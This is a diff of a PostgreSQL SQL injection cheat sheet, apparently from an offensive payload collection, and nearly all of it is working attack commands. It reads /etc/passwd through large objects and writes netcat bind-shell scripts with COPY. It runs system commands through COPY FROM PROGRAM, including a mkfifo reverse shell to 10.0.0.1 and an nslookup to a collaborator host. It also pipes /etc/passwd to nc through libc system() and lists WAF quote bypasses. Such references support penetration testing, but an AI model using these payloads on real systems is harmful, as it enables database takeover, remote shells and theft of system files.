`lo_import` + + ```sql + SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID + SELECT lo_get(16420); -- use the OID returned from the above + SELECT * from pg_largeobject; -- or just get all the large objects and their data + ``` + + +### PostgreSQL File Write + +* Using `COPY` + + ```sql + CREATE TABLE nc (t TEXT); + INSERT INTO nc(t) VALUES('nc -lvvp 2346 -e /bin/bash'); + SELECT * FROM nc; + COPY nc(t) TO '/tmp/nc.sh'; + ``` + +* Using `COPY` (one-line) + + ```sql + COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; + ``` + +* Using `lo_from_bytea`, `lo_put` and `lo_export` + + ```sql + SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data + SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 + SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport + ``` -```sql -SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data -SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20 -SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport -``` ## PostgreSQL Command Execution -### CVE-2019–9193 +### Using COPY TO/FROM PROGRAM -Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries. +Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with '`pg_execute_server_program`' to pipe to and from an external program using `COPY`. -```SQL -DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists -CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output -COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function -SELECT * FROM cmd_exec; -- [Optional] View the results -DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table +```sql +COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN' +``` + +```sql +CREATE TABLE shell(output text); +COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f'; ``` -![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png) ### Using libc.so.6 @@ -262,22 +263,15 @@ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu SELECT system('cat /etc/passwd | nc '); ``` -### Bypass Filter -#### Quotes +### PostgreSQL WAF Bypass -Using CHR +#### Alternative to Quotes -```sql -SELECT CHR(65)||CHR(66)||CHR(67); -``` - -Using Dollar-signs ( >= version 8 PostgreSQL) - -```sql -SELECT $$This is a string$$ -SELECT $TAG$This is another string$TAG$ -``` +| Payload | Technique | +| ------------------ | --------- | +| `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` | +| `SELECT $TAG$This` | Dollar-sign ( >= version 8 PostgreSQL) | ## References